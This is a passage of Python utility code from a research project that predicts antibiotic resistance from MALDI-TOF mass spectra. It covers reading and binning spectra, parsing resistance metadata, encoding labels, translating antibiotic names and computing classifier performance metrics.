calc_sample_size(y):\n    num1 = sum(y == 1)\n    num0 = sum(y == 0)\n    sample_size = num1 + num0\n    return sample_size\n\n#-----------------------------------------------------------------------------\n# Maldi Spectra Read-in functions\n#-----------------------------------------------------------------------------\n\n\ndef read_single_spectra(spectra_dir, filename):\n    mz = []\n    intensity = []\n    file = open(os.path.join(spectra_dir, filename), 'r')\n    for line in file:\n        if line.startswith('#') or line.startswith('COM') or line.startswith('\"'):\n            pass\n        else:\n            splitline = line.strip('\\n').split(' ')\n            if len(splitline)>1:\n                try:\n                    intensity.append(float(splitline[1]))\n                    mz.append(float(splitline[0]))\n                except Exception as e:\n                    print('Failed to append mx and intensity: ' + str(e))    \n\n    if len(mz) != len(intensity):\n        mz = []\n        intensity = []\n    # assert len(mz) == len(intensity)\n    return mz, intensity\n\n\ndef divide_by_fileids(all_fileid_i, train_fileids, test_fileids, val_fileids, all_bin_intesities_i, all_resistancies_i, i):\n    train_idx = np.in1d(all_fileid_i,train_fileids)\n    test_idx = np.in1d(all_fileid_i,test_fileids)\n    val_idx = np.in1d(all_fileid_i,val_fileids)\n    X_train = all_bin_intesities_i[train_idx,:]\n    X_test = all_bin_intesities_i[test_idx,:]\n    X_val = all_bin_intesities_i[val_idx,:]\n    y_train = all_resistancies_i[train_idx,i]\n    y_test = all_resistancies_i[test_idx,i]\n    y_val = all_resistancies_i[val_idx,i]\n    return [X_train, X_test, X_val, y_train, y_test, y_val]\n\n\ndef bin_separation(mz, intensity, bin_size):\n    # 2000 mz to 20000 mz\n    binsteps = np.arange(2000,20000+int(bin_size),int(bin_size))\n    histogram_intensities = np.zeros(len(binsteps))\n    #np.histogram(mz, bins=binsteps)\n\n    for i,bin in enumerate(binsteps):\n        idx = np.where((mz > binsteps[i]) & (mz < binsteps[i]+int(bin_size)))\n        intensity = np.transpose(intensity)\n        histogram_intensities[i] = sum(intensity[idx[0]])\n    return histogram_intensities\n\n\n# def bin_separation_new(mz, intensity, bin_size):\n#     # 2000 mz to 20000 mz\n#     binsteps = np.arange(2000,20000+int(bin_size),int(bin_size))\n#     index = np.digitize(np.array(mz),binsteps)\n#     histogram_intensities = [sum(list(compress(intensity, index == i))) for i in range(1,len(binsteps)+1)]\n#     return np.asarray(histogram_intensities)\n\n\ndef read_maldi(spectra_dir, resist_dir, bin_size):\n    list_spectra = [g for g in os.listdir(spectra_dir) if not g.startswith('.')]\n    all_bin_intesities = []\n    all_resistancies = []\n    all_fileid = []\n\n    # go through all files in spectra directory\n    for i,filename in enumerate(list_spectra):\n        [mz, intensity] = read_single_spectra(spectra_dir, filename)\n\n        # separate spectra into bins\n        if len(mz) > 0:\n            fileid = filename.split('-')[0]\n            all_fileid.append(fileid)\n\n            bin_intensities = bin_separation(mz, intensity, bin_size)\n            # add single spectra to full dataset\n            if all_bin_intesities == []:\n                all_bin_intesities = bin_intensities[np.newaxis,:]\n            else:\n                all_bin_intesities = np.r_[all_bin_intesities, bin_intensities[np.newaxis,:]]\n\n            \n            # read in resistancy file\n            [resistancy, names_reagents] = read_resist(resist_dir,fileid)\n\n            if all_resistancies == []:\n                all_resistancies = resistancy[np.newaxis,:]\n            else:\n                all_resistancies = np.r_[all_resistancies, resistancy[np.newaxis,:]]\n    all_fileid = np.asarray(all_fileid)\n    return [all_bin_intesities, all_resistancies, all_fileid, names_reagents]\n\n\ndef read_and_bin_preprocessed_spectra(spectra_dir, bin_size, id_lower=1, id_upper=10, verbose=False):\n    list_spectra = [g for g in os.listdir(spectra_dir) if not g.startswith('.')]\n    d_spectra = {}\n\n\n    # go through all files in spectra directory\n    for i,filename in enumerate(list_spectra):\n        swapid = re.split('/',filename)[-1].replace('_spectraPreprocessed.txt', '')        \n\n        # include for Aarau\n        # swapid = '_'.join([swapid, re.split('/',filename)[-1].split('_')[1]])\n        \n        if verbose: print('current sample ID: {}'.format(swapid))\n\n        # check constraints for spectra id length\n        if len(swapid)<id_lower or len(swapid)>id_upper:\n            if verbose: print('SamplesID length out of bounds {} and {}. continue.'.format(id_lower, id_upper))\n            continue\n\n        # read in data\n        [mz, intensity] = read_single_spectra(spectra_dir, filename)\n        if mz == [] or intensity == []:\n            if verbose: print('Empty spectra file. continue.')\n            continue\n\n        # separate spectra into bins\n        if len(mz) > 0:\n            bin_intensities = bin_separation(mz, intensity, bin_size)\n\n            # add single spectra to full dataset\n            # if all_bin_intesities == []:\n            #     all_bin_intesities = bin_intensities[np.newaxis,:]\n            # else:\n            #     all_bin_intesities = np.r_[all_bin_intesities, bin_intensities[np.newaxis,:]]\n\n            d_spectra[swapid]=np.array(bin_intensities)\n        else:\n            if verbose: print('len(mz)!>0') \n    # all_bin_intesities = np.array(all_bin_intesities)\n    # return [all_bin_intesities, all_fileid]\n    return d_spectra\n\n\n# def save_binned_data(name, bin_size, all_bin_intesities, all_species = None):\n#     # \n#     # [all_bin_intesities, all_species] = utils.read_maldi_RKI(spectra_dir, bin_size)\n#     # utils.save_binned_data('RKI_', bin_size, all_bin_intesities, all_species)\n#     #\n\n#     if all_species == None:\n#         print(\"all_species empty\")\n#         all_species = np.repeat(0, all_bin_intesities.shape[0])\n#     if type(all_bin_intesities) is not np.ndarray:\n#         all_bin_intesities = np.asarray(all_bin_intesities)\n#     if type(all_species) is not np.ndarray:\n#         all_species = np.asarray(all_species)\n#     assert type(all_bin_intesities) is np.ndarray\n#     assert type(all_species) is np.ndarray\n#     assert all_species.shape[0] == all_bin_intesities.shape[0]\n#     print(all_species[0:3])\n#     dataname = '/links/groups/borgwardt/Projects/maldi_tof_diagnostics/binned_spectra/' + name + str(bin_size) + '.txt'\n#     phenoname = '/links/groups/borgwardt/Projects/maldi_tof_diagnostics/binned_spectra/' + name + str(bin_size) + '_pheno.txt'\n#     np.savetxt(dataname, all_bin_intesities, delimiter=',') \n#     f = open(phenoname, 'w')\n#     for item in all_species:\n#         f.write(\"%s\\n\" % item)\n    \n#     #np.savetxt(phenoname, all_species, delimiter=',') \n#     return \n\n\n# def load_binned_data(name, bin_size):\n#     data = {}\n#     dataname = '/links/groups/borgwardt/Projects/maldi_tof_diagnostics/binned_spectra/' + name + str(bin_size) + '.txt'\n#     phenoname = '/links/groups/borgwardt/Projects/maldi_tof_diagnostics/binned_spectra/' + name + str(bin_size) + '_pheno.txt'\n#     all_bin_intesities = np.loadtxt(dataname, delimiter=',') \n#     with open(phenoname) as f:\n#         for i, line in enumerate(f):\n#             ph = line.strip('\\n')\n#             assert type(ph) is str\n#             data[ph] = all_bin_intesities[i,:]\n#     assert type(data) is dict\n#     return data\n\n\ndef check_data(spectra, pheno, logging, min_num_classes=2, min_num_samples=30, min_num_samples_per_class=4, minority_class1=True):\n    if len(np.unique(pheno)) < min_num_classes:\n        logging.info('Only samples of one class for this chemical!')\n        check = False\n    elif spectra.shape[0] < min_num_samples:\n        logging.info('Less than 30 samples left after removing NaNs')\n        check = False    \n    elif Counter(pheno)[0] < min_num_samples_per_class or Counter(pheno)[1] < min_num_samples_per_class:\n        logging.info('Too few samples of one class provided.')\n        check = False\n    else:\n        check=True\n\n\n    # flip class labels if necessary\n    if minority_class1==True:\n        logging.info('Is label flipping necessary?')\n        logging.info(Counter(pheno))\n        if sum(pheno) > sum(1-pheno):\n            pheno = 1-pheno\n            logging.info('Flip!')\n            logging.info(Counter(pheno))\n    return check, spectra, pheno\n\n\ndef spectra_scale(X_train, X_test):\n    scaler = StandardScaler()\n    scaler.fit(X_train)\n    X_train_scaled = scaler.transform(X_train)\n    X_test_scaled = scaler.transform(X_test)\n    return X_train_scaled, X_test_scaled\n\n\n#-----------------------------------------------------------------------------\n# Load phenotype functions\n#-----------------------------------------------------------------------------\n\n\ndef idres_metadata(csvname):\n    #csvname = '/links/groups/borgwardt/Data/ms_diagnostics/201711-12_merge_IDRES.csv'\n    SampleMetadata = namedtuple('SampleMetadata', ['tagesnr', 'genus', 'species', 'resist'], verbose=False)\n    meta_dict = {}\n\n    with open(csvname,'r') as f:\n        ff = csv.reader(f)\n        for j, row in enumerate(ff):\n            if j==0:\n                meta_dict['AB_names'] = list(row)[21:]\n            else:\n                tagesnr = list(row)[1]\n                genus = list(row)[9]\n                species = list(row)[4]\n                resist = list(row)[21:]\n                sample = SampleMetadata(tagesnr, genus, species, resist)\n                meta_dict[tagesnr] = sample\n    return meta_dict\n\n\ndef idres_metadata_BrID(csvname, verbose=False):\n    SampleMetadata = namedtuple('SampleMetadata', ['BrukerID', 'list_AB', 'genus', 'species', 'resist'], verbose=False)\n    meta_dict = {}\n    multiplied_ID = set()\n\n    n_pop = 0\n\n    with open(csvname,'r') as f:\n        ff = csv.reader(f, dialect=csv.excel)\n        for j, row in enumerate(ff):\n            if j==0:\n                header = list(row)\n                idx_Bruker = header.index('code')\n                idx_species = header.index('Organism(best match)')\n                idx_genus = header.index('GENUS')\n                ab_names = list(row)[21:]\n                if verbose: print('Names of antibiotics {}: '.format(ab_names))\n            else:\n                brukerID = list(row)[idx_Bruker]\n                # if key is duplicated, remove\n                if brukerID in meta_dict.keys() or brukerID in multiplied_ID:\n                    multiplied_ID.add(brukerID)\n                    if brukerID in meta_dict.keys(): \n                        meta_dict.pop(brukerID, None)\n                        n_pop += 1\n                    continue\n\n                genus = list(row)[idx_genus]\n                species = list(row)[idx_species]\n                resist = list(row)[21:]\n                sample = SampleMetadata(brukerID, ab_names, genus, species, resist)\n                meta_dict[brukerID] = sample\n    if verbose: print('{} spectra removed due to duplicated naming: {}'.format(n_pop, multiplied_ID))\n    return meta_dict\n\n\n\ndef idres_metadata_validation(csvname):\n    SampleMetadata = namedtuple('SampleMetadata', ['BrukerID', 'list_AB', 'genus', 'species', 'resist'], verbose=False)\n    meta_dict = {}\n\n    with open(csvname,'r') as f:\n        ff = csv.reader(f , dialect=csv.excel)\n        for j, row in enumerate(ff):\n            if j==0:\n                header = list(row)\n                idx_Bruker = header.index('sampleID')\n                idx_species = header.index('species')\n                idx_genus = header.index('genus')\n                \n                idx_antibiotics = range(len(header))\n                idx_antibiotics.remove(idx_Bruker)\n                idx_antibiotics.remove(idx_species)\n                idx_antibiotics.remove(idx_genus)\n\n                ab_names = [header[i] for i in idx_antibiotics]\n            else:\n                brukerID = list(row)[idx_Bruker]\n                genus = list(row)[idx_genus]\n                species = list(row)[idx_species]\n                resist = [list(row)[i] for i in idx_antibiotics]\n                sample = SampleMetadata(brukerID, ab_names, genus, species, resist)\n                meta_dict[brukerID] = sample\n    return meta_dict\n\n# def idres_metadata_Aarau(csvname):\n#     SampleMetadata = namedtuple('SampleMetadata', ['BrukerID', 'genus', 'species', 'resist'], verbose=False)\n#     meta_dict = {}\n\n#     with open(csvname,'r') as f:\n#         ff = csv.reader(f , dialect=csv.excel)\n#         for j, row in enumerate(ff):\n#             if j==0:\n#                 header = list(row)\n#                 idx_Bruker = header.index('sampleID')\n#                 idx_species = header.index('species')\n#                 idx_genus = header.index('genus')\n                \n#                 idx_antibiotics = range(len(header))\n#                 idx_antibiotics.remove(idx_Bruker)\n#                 idx_antibiotics.remove(idx_species)\n#                 idx_antibiotics.remove(idx_genus)\n\n#                 meta_dict['AB_names'] = [header[i] for i in idx_antibiotics]\n#             else:\n#                 brukerID = list(row)[idx_Bruker]\n#                 genus = list(row)[idx_genus]\n#                 species = list(row)[idx_species]\n#                 resist = [list(row)[i] for i in idx_antibiotics]\n#                 sample = SampleMetadata(brukerID, genus, species, resist)\n#                 meta_dict[brukerID] = sample\n#     return meta_dict\n\n\ndef RSI_encoder(matrix):\n    matrix = matrix.astype('|S4')\n    matrix[matrix == '3'] = 'R' #resistent\n    matrix[matrix == '2'] = 'R' #resistent\n    matrix[matrix == '1'] = 'R' #maessig empfindlich\n    matrix[matrix == '0'] = 'S' #empfindlich\n\n\n    matrix[matrix == 'S*'] =     1\n    matrix[matrix == 'S'] =     1\n    matrix[matrix == 'S(2)'] =     1\n    matrix[matrix == 'negative'] = 1\n    matrix[matrix == 'NEG'] = 1\n\n    matrix[matrix == '-1'] =     float('NaN')\n    matrix[matrix == '-'] =     float('NaN')\n    matrix[matrix == ''] =         float('NaN')\n    matrix[matrix == ' '] =     float('NaN')\n    matrix[matrix == 'U'] =     float('NaN')\n    matrix[matrix == 'nan'] =     float('NaN')\n    matrix[matrix == 'R(1)- I(1)'] = float('NaN')\n    matrix[matrix == 'I(1)- S(1)'] = float('NaN')\n    matrix[matrix == 'R(1)- S(1)'] = float('NaN')\n    matrix[matrix == 'R(1)- I(1)- S(1)'] = float('NaN')\n    matrix[matrix == 'N/R'] = float('NaN')\n    matrix[matrix == 'BLEE'] = float('NaN')\n    matrix[matrix == 'EBL?'] = float('NaN')\n    \n    matrix[matrix == 'R'] = 0\n    matrix[matrix == 'R(1)'] = 0\n    matrix[matrix == 'R(2)'] = 0\n    matrix[matrix == 'I'] = 0\n    matrix[matrix == 'I(1)'] = 0\n    matrix[matrix == 'I*'] = 0\n    matrix[matrix == 'RES'] = 0\n    matrix[matrix == 'INT'] = 0\n    matrix[matrix == 'positive'] = 0\n    matrix[matrix == 'POS'] = 0\n\n\n    # print np.unique(matrix, return_counts=True)\n    matrix = matrix.astype(float)\n    # set(x).issubset([float('nan'),1.,0.])  # doesn't work with nans yet\n    return matrix\n\n\ndef min_num_class_memb(X, y, min_num):\n    # multiclass setting, remove samples classes having fewer members than min_num \n    assert np.shape(X)[0] == np.shape(y)[0]\n    if not isinstance(y, list):\n        y = list(y)\n    idx_remove = []\n    dict_counts = Counter(y)\n    remove_keys = [key for key,val in dict_counts.items() if val < min_num]\n    [idx_remove.append(False) if s in remove_keys else idx_remove.append(True) for s in y]\n    y_min_num = np.asarray(list(compress(y, idx_remove)))\n    X_min_num = X[idx_remove,:]\n    return X_min_num, y_min_num\n\n\n#-----------------------------------------------------------------------------\n# Performance measure functions\n#-----------------------------------------------------------------------------\n\n\ndef binary_performance_measures(clf, X_test, y_test):\n    roc_auc = round(roc_auc_score(y_test, clf.predict_proba(X_test)[:, 1]), 3)\n    #fpr, tpr, thresholds = roc_curve(y_test, clf.predict_proba(X_test)[:, 1])\n    prec, rec, thresholds = precision_recall_curve(y_test, clf.predict_proba(X_test)[:, 1])\n    # pr_auc = auc(prec, rec, reorder=True)\n    pr_auc = average_precision_score(y_test, clf.predict_proba(X_test)[:, 1], average='weighted')\n    tn, fp, fn, tp = confusion_matrix(y_test, clf.predict(X_test)).ravel()\n    recall = round(tp / float(tp+fn), 3)\n    precision = round(tp / float(tp+fp), 3)\n    accuracy = round((tp+tn) / float(tn+fp+fn+tp), 3)\n    f1 = round(f1_score(y_test, clf.predict(X_test), average='binary'), 3)\n    return [roc_auc, pr_auc, accuracy, precision, recall, f1, tn, fp, fn, tp]\n\n\ndef multiclass_performance_measures(clf, X_test, y_test):\n    f1 = round(f1_score(y_test, clf.predict(X_test), average='micro'), 3)\n    #roc_auc = round(roc_auc_score(y_test, clf.predict_proba(X_test)[:, 1]), 3)\n    #fpr, tpr, thresholds = roc_curve(y_test, clf.predict_proba(X_test)[:, 1])\n    # prec, rec, thresholds = precision_recall_curve(y_test, clf.predict_proba(X_test)[:, 1])\n    # pr_auc = auc(prec, rec, reorder=True)\n    # pr_auc = average_precision_score(y_test, clf.predict_proba(X_test)[:, 1], average='weighted')\n    conf_matrix = confusion_matrix(y_test, clf.predict(X_test))\n    return [f1, conf_matrix]\n\n\ndef results_sample(y_true,y_pred,sample_id):\n    y_true = list(y_true)\n    y_pred = list(y_pred)\n    sample_id = list(sample_id)\n    assert np.shape(y_true)==np.shape(y_pred)==np.shape(sample_id)\n    y_match = [1 if y_true[i] == y_pred[i] else 0 for i in range(len(y_true))]\n    assert np.shape(y_true)==np.shape(y_pred)==np.shape(sample_id)==np.shape(y_match)\n    results = np.column_stack(([y_true,y_pred,sample_id,y_match]))\n    return results\n\n#-----------------------------------------------------------------------------\n# Miscellaneous functions\n#-----------------------------------------------------------------------------\n\ndef find_common_pheno_set(list_MaldiAI_exp_types):\n    list_phenotype_sets = []\n    for exp_types in list_MaldiAI_exp_types:\n        current_exp_type_phenotypes = [l.phenotype for l in exp_types]\n        list_phenotype_sets.append(set(current_exp_type_phenotypes))\n    \n    for i in range(1,len(list_phenotype_sets)):\n        if i == 1:\n            common_set = list_phenotype_sets[0]&list_phenotype_sets[i]\n        else:\n            common_set = common_set&list_phenotype_sets[i]\n\n    return common_set\n\n\ndef count_elements(array):\n    counts = np.unique(array, return_counts=True)\n    zipped = zip(counts[0],counts[1])\n    return sorted(zipped, key=operator.itemgetter(1), reverse=True)\n\n\n    \ndef count_values_per_key(dictionary):\n    list_len = []\n    for key in dictionary.keys():\n        list_len.append(len(dictionary[key]))\n    return np.unique(list_len, return_counts=True)\n\n\n\ndef get_antibiotics_name_matching(match_from='LIESTAL', match_to='USB'):\n    assert match_from in ['LIESTAL','USB','Viollier','Aarau','Madrid']\n    assert match_to in ['LIESTAL','USB','Viollier','Aarau','Madrid']\n    #csvname = '/links/groups/borgwardt/Data/ms_diagnostics/validation/AB-matching.csv'\n    dir_path = os.path.dirname(os.path.realpath(__file__))\n    csvname = dir_path+'/files/AB-matching.csv'\n\n    with open(csvname,'r') as f:\n        ff = csv.reader(f, delimiter=',', dialect=csv.excel)\n        list_antibiotics = []\n        \n        d_naming = ddict(list)\n\n        for j, row in enumerate(ff):\n            if j==0:\n                inidx = row.index(match_from)\n                outidx = row.index(match_to)\n            else:\n                inname = row[inidx]\n                outname = row[outidx]\n                if inname == '':\n                    continue\n                else:\n                    d_naming[inname] = outname\n    return d_naming\n\n\ndef anglicize_labels(label):\n    if label == 'Amoxicillin...Clavulansaeure.bei.unkompliziertem.HWI': return 'Amoxicillin-Clavulans.unkompl.HWI'\n    elif label == 'Ampicillin...Amoxicillin': return 'Ampicillin-Amoxicillin'\n    elif label == 'Piperacillin...Tazobactam': return 'Piperacillin-Tazobactam'\n    elif label == 'Amoxicillin...Clavulansaeure': return 'Amoxicillin-Clavulanic acid'\n    elif label == 'Fusidinsaeure': return 'Fusidic acid'\n    elif label == 'Ceftazidim.1': return 'Ceftazidime'\n    elif label == 'Ceftazidim.Avibactam': return 'Ceftazidime-Avibactam'\n    elif label == 'X5.Fluorocytosin': return '5-Fluorocytosin'\n    elif label == 'Fosfomycin.Trometamol': return 'Fosfomycin-Trometamol'\n    elif label == 'Ceftolozan...Tazobactam': return 'Ceftolozane-Tazobactam'\n    elif label == 'Cefepim': return 'Cefepime'\n    elif label == 'Posaconazol': return 'Posaconazole'\n    elif label == 'Tigecyclin': return 'Tigecycline'\n    elif label == 'Cefpodoxim': return 'Cefpodoxime'\n    elif label == 'Ceftobiprol': return 'Ceftobiprole'\n    elif label == 'Fluconazol': return 'Fluconazole'\n    elif label == 'Cefuroxim': return 'Cefuroxime'\n    elif label == 'Tetracyclin': return 'Tetracycline'\n    elif label == 'Ceftriaxon': return 'Ceftriaxone'\n    elif label == 'Itraconazol': return 'Itraconazole'\n    elif label == 'Cotrimoxazol': return 'Trimethoprim-Sulfamethoxazole'\n    elif label == 'Minocyclin': return 'Minocycline'    \n    elif label == 'Voriconazol': return 'Voriconazole'\n    elif label == 'Metronidazol': return 'Metronidazole'\n    elif label == 'Aminoglykoside': return 'Aminoglycosides'    \n    elif label == 'Chinolone': return 'Quinolones'\n    elif label == 'Doxycyclin': return 'Doxycycline'\n    elif label == 'Cefixim': return 'Cefixime'\n    else: return label\n\ndef shorten_labels(label):\n    if label == 'Piperacillin-Tazobactam': return 'Pip.-Tazo.'\n    elif label == 'Amoxicillin-Clavulanic acid': return 'Amox.-Clav.'\n    else: return label\n\n\ndef PosRatio_pval(Dataset_ref, Dataset_comp):\n    # check if Datasets in right format\n    Dataset_ref.check_is_singletask()\n    Dataset_ref.check_contains_nans()\n    Dataset_comp.check_is_singletask()\n    Dataset_comp.check_contains_nans()\n    \n    # calculate frequencies\n    f_obs_ref = np.sum(Dataset_ref.y == 1)\n    f_obs_comp = np.sum(Dataset_comp.y == 1)\n\n\n    n_P_total = np.sum(Dataset_ref.y == 1)+np.sum(Dataset_comp.y == 1)\n    n_total = len(Dataset_ref.y)+len(Dataset_comp.y)\n    p_exp = n_P_total/float(n_total)\n\n    f_exp_ref = p_exp*len(Dataset_ref.y)\n    f_exp_comp = p_exp*len(Dataset_comp.y)\n    \n    # chi-squared test\n    f_obs = [f_obs_ref, f_obs_comp]\n    f_expect = [f_exp_ref, f_exp_comp]\n    chi_results = chisquare(f_obs, f_exp=f_expect)\n\n    return chi_results.pvalue\n\n\ndef list_phenotype(list_Experiments):\n    return [e.phenotype for e in list_Experiments]\n\n\ndef remove_ab_from_list(input_list, order_phenotype, remove_phenotype_list):\n    remove_idx = []\n    for ab in remove_phenotype_list:\n        if ab in order_phenotype:\n            remove_idx.append(order_phenotype.index(ab))\n    return [elem for i, elem in enumerate(input_list) if i not in remove_idx]\n\n\ndef remove_ab_from_list_index(order_phenotype, remove_phenotype_list):\n    remove_idx = []\n    for ab in remove_phenotype_list:\n        if ab in order_phenotype:\n            remove_idx.append(order_phenotype.index(ab))\n    return remove_idx\n\n\ndef calc_pvalue(Y_exp1, Y_exp2):\n    '''\n    Takes two input matrics Y_exp1 and Y_exp2, where each column represent the results of repeated experiments for exp1 and exp2 respectively.\n    Calculates the p-value of a T-test for the means of two independent samples of scores.\n    '''\n\n    assert Y_exp1.shape == Y_exp2.shape, 'Input matrices have different lengths.'\n\n    list_pvals = []\n    for i in range(Y_exp1.shape[1]):\n        _, p_val = ttest_ind(Y_exp1[:, i], Y_exp2[:, i], equal_var=False)\n        list_pvals.append(p_val)\n\n    assert len(list_pvals) == Y_exp1.shape[1]\n    return list_pvals\n\n\n\ndef count_clf(X_clf, clf_type='LogisticRegression'):\n    '''\n    Takes input matrix n_exp x n_abs with strings of classifiers. Counts how often the string of a clf appears in one antibiotic, and return values in list.\n    '''\n    assert clf_type=='LogisticRegression' or clf_type=='RandomForest'\n    return list(np.sum(np.array(l) == clf_type, axis=0))\n\n\ndef count_species_class_pairs(Dataset):\n    '''\n    Takes Dataset object and returns a list of unique species-class combinations in the Dataset, along with its counts.\n    '''\n    species_class_tuples = zip(Dataset.sample_species, Dataset.y)\n\n    counts = Counter(species_class_tuples) \n    unique_pairs = list(set(species_class_tuples)) \n      \n    list_counts = []\n    for i in unique_pairs: \n        list_counts.append(counts[i])\n    return unique_pairs, list_counts\n\n\n#-----------------------------------------------------------------------------\n# s1 utils\n#-----------------------------------------------------------------------------\n\ndef get_s1_spectra_avg(num_reps, pickle_dir='/links/groups/borgwardt/Projects/maldi_tof_diagnostics/pub1/pickles/'):     \n    list_roc_spectra = []\n    list_prauc_spectra = []\n\n    with open(pickle_dir+'s1_AMRpred_baseline/s1_AMRpred_baseline_rep0.pkl', 'rb') as infile:\n        dp = pickle.load(infile) \n        list_datasets_spectra = dp['list_datasets']\n        list_test_datasets_spectra = dp['list_test_datasets']\n        list_experiments_spectra = dp['list_experiments']  \n    l_pheno = list_phenotype(list_experiments_spectra)\n    \n    # --------------------------\n    # get repetition values from compressed dataset\n    for r in range(num_reps):\n        with open(pickle_dir+'s1_AMRpred_baseline/list_metrics/list_metric_s1_AMRpred_baseline_rep{}.pkl'.format(r), 'rb') as infile:\n            dp = pickle.load(infile)   \n            list_roc_spectra.append(dp['list_rocauc_values'])\n            list_prauc_spectra.append(dp['list_prauc_values'])\n            assert dp['l_pheno'] == l_pheno\n            infile.close()\n        \n    d_out = {\n    'l_pheno': l_pheno,\n    'list_roc_spectra': list_roc_spectra,\n    'list_prauc_spectra': list_prauc_spectra,\n    'list_std_rocauc_spectra': list(np.std(np.array(list_roc_spectra), axis=0)),\n    'list_mean_rocauc_spectra': list(np.mean(np.array(list_roc_spectra), axis=0)),\n    'list_std_prauc_spectra': list(np.std(np.array(list_prauc_spectra), axis=0)),\n    'list_mean_prauc_spectra': list(np.mean(np.array(list_prauc_spectra), axis=0)),\n    'list_datasets_spectra': list_datasets_spectra,\n    'list_test_datasets_spectra': list_test_datasets_spectra,\n    'list_experiments_spectra': list_experiments_spectra,\n    }\n    return d_out\n\n\ndef get_s1_species_avg(num_reps, pickle_dir='/links/groups/borgwardt/Projects/maldi_tof_diagnostics/pub1/pickles/'):\n    list_roc_species = []\n    list_prauc_species = []\n\n    with open(pickle_dir+'s1_AMRpred_baseline/s1_AMRpred_from_species_rep0.pkl', 'rb') as infile:\n        dp = pickle.load(infile) \n        list_datasets_species = dp['list_datasets']\n        list_test_datasets_species = dp['list_test_datasets']\n        list_experiments_species = dp['list_experiments']  \n    l_pheno = list_phenotype(list_experiments_species)\n\n    # --------------------------\n    # get repetition values from compressed dataset\n    for r in range(num_reps):\n        with open(pickle_dir+'s1_AMRpred_baseline/list_metrics/list_metric_s1_AMRpred_from_species_rep{}.pkl'.format(r), 'rb') as infile:\n            dp = pickle.load(infile)   \n            list_roc_species.append(dp['list_rocauc_values'])\n            list_prauc_species.append(dp['list_prauc_values'])\n            assert dp['l_pheno'] == l_pheno\n            infile.close()\n\n    d_out = {\n    'l_pheno': l_pheno,\n    'list_roc_species': list_roc_species,\n    'list_prauc_species': list_prauc_species,\n    'list_std_rocauc_species': list(np.std(np.array(list_roc_species), axis=0)),\n    'list_mean_rocauc_species': list(np.mean(np.array(list_roc_species), axis=0)),\n    'list_std_prauc_species': list(np.std(np.array(list_prauc_species), axis=0)),\n    'list_mean_prauc_species': list(np.mean(np.array(list_prauc_species), axis=0)),\n    'list_datasets_species': list_datasets_species,\n    'list_test_datasets_species': list_test_datasets_species,\n    'list_experiments_species': list_experiments_species,\n    }\n    return d_out\n\n\ndef conf_matrix_threshold(list_ytrue, list_yprob, threshold):\n    list_ypredict = [1 if prob >= threshold else 0 for prob in list_yprob]\n    TN, FP, FN, TP = confusion_matrix(list_ytrue, list_ypredict, labels=[0,1]).ravel()\n    return TN, FP, FN, TP\n\n\ndef get_auccurve_values_4Bokeh(list_Experiments, list_test_datasets, site='USB', species='all'):\n\n    dd = ddict(list)\n\n    for i, exp in enumerate(list_Experiments):\n\n        data = list_test_datasets[i]\n\n        list_ytrue = data.y\n        list_yprob = exp.estimator.predict_proba(data.X)[:, 1]\n\n        # phenotype can be in 'antibiotic' or 'antibiotic-species' format\n        if len(exp.phenotype.split('-'))>1:\n            ab_name = anglicize_labels(exp.phenotype.split('-')[0])\n        else:\n            ab_name = anglicize_labels(exp.phenotype)\n        assert len(list_ytrue) == len(list_yprob)\n\n\n        # ------------\n        # ROC curve\n        # ------------\n        fpr, tpr, thresholds1 = roc_curve(list_ytrue, list_yprob, pos_label=1)\n        AUROC = round(roc_auc_score(list_ytrue, list_yprob), 3)\n\n        # ------------\n        # PRAUC-1 curve\n        # ------------\n        precision, recall, thresholds2 = precision_recall_curve(list_ytrue, list_yprob)\n        AUPRC = round(average_precision_score(list_ytrue, list_yprob, average='weighted'), 3)\n\n        # ------------\n        # VME curve\n        # ------------\n        vme, me_inv, thresholds3 = vme_auc_curve(list_ytrue, list_yprob)\n        me = 1-me_inv\n        AUVME = round(vme_auc_score(list_ytrue, list_yprob),3)\n        \n        # ------------\n        # TN, FP, FN, TP\n        # ------------\n\n        TN1, FP1, FN1, TP1 = [], [], [], []\n        TN2, FP2, FN2, TP2 = [], [], [], []\n        TN3, FP3, FN3, TP3 = [], [], [], []\n\n        for thresh in thresholds1:\n            TN, FP, FN, TP = conf_matrix_threshold(list_ytrue, list_yprob, thresh)\n            TN1.append(TN)\n            FP1.append(FP)\n            FN1.append(FN)\n            TP1.append(TP)\n        dd['TN1'].append(TN1)\n        dd['FP1'].append(FP1)\n        dd['FN1'].append(FN1)\n        dd['TP1'].append(TP1)\n\n        for thresh in thresholds2:\n            TN, FP, FN, TP = conf_matrix_threshold(list_ytrue, list_yprob, thresh)\n            TN2.append(TN)\n            FP2.append(FP)\n            FN2.append(FN)\n            TP2.append(TP)\n        dd['TN2'].append(TN2)\n        dd['FP2'].append(FP2)\n        dd['FN2'].append(FN2)\n        dd['TP2'].append(TP2)\n\n        for thresh in thresholds3:\n            TN, FP, FN, TP = conf_matrix_threshold(list_ytrue, list_yprob, thresh)\n            TN3.append(TN)\n            FP3.append(FP)\n            FN3.append(FN)\n            TP3.append(TP)\n        dd['TN3'].append(TN3)\n        dd['FP3'].append(FP3)\n        dd['FN3'].append(FN3)\n        dd['TP3'].append(TP3)\n       \n\n        # ------------\n        # build dict\n        # ------------\n        dd['false_positive_rate'].append(list(fpr))\n        dd['true_positive_rate'].append(list(tpr))\n        dd['thresholds1'].append(list(thresholds1))\n\n        dd['precision'].append(list(precision))\n        dd['recall'].append(list(recall))\n        dd['thresholds2'].append(list(thresholds2))\n\n        dd['very_major_error'].append(list(vme))\n        dd['major_error'].append(list(me))\n        dd['thresholds3'].append(list(thresholds3))\n\n        dd['antibiotic'].extend([ab_name])\n        dd['AUROC'].extend([AUROC])\n        dd['AUPRC'].extend([AUPRC])\n        dd['AUVME'].extend([AUVME])\n\n        dd['site'].extend([site])\n        dd['species'].extend([species])   \n    \n    return dd\n\n\n\n\ndef vme_auc_curve(y_true, y_prob, pos_label=1, sample_weight=None):\n    fps, tps, thresholds = _binary_clf_curve(y_true, y_prob, pos_label=pos_label, sample_weight=sample_weight)\n    vme = fps / fps[-1]\n    me =  (tps[-1] -  tps) / tps[-1]\n    return vme, 1-me, thresholds\n\ndef vme_auc_score(y_true, y_prob, pos_label=1, sample_weight=None):\n    vme, me_inv, thresholds = vme_auc_curve(y_true, y_prob, pos_label=1, sample_weight=None)\n    vme_auc_score = auc(vme, me_inv)\n    return vme_auc_score\n\n\n# ----------------\n# colors\n# ----------------\n\n\n\ncol_list = [u'orangered', u'purple', u'royalblue', u'olivedrab', u'orange', u'violet',  u'red', u'turquoise', u'chartreuse', u'black', u'saddlebrown', u'salmon', 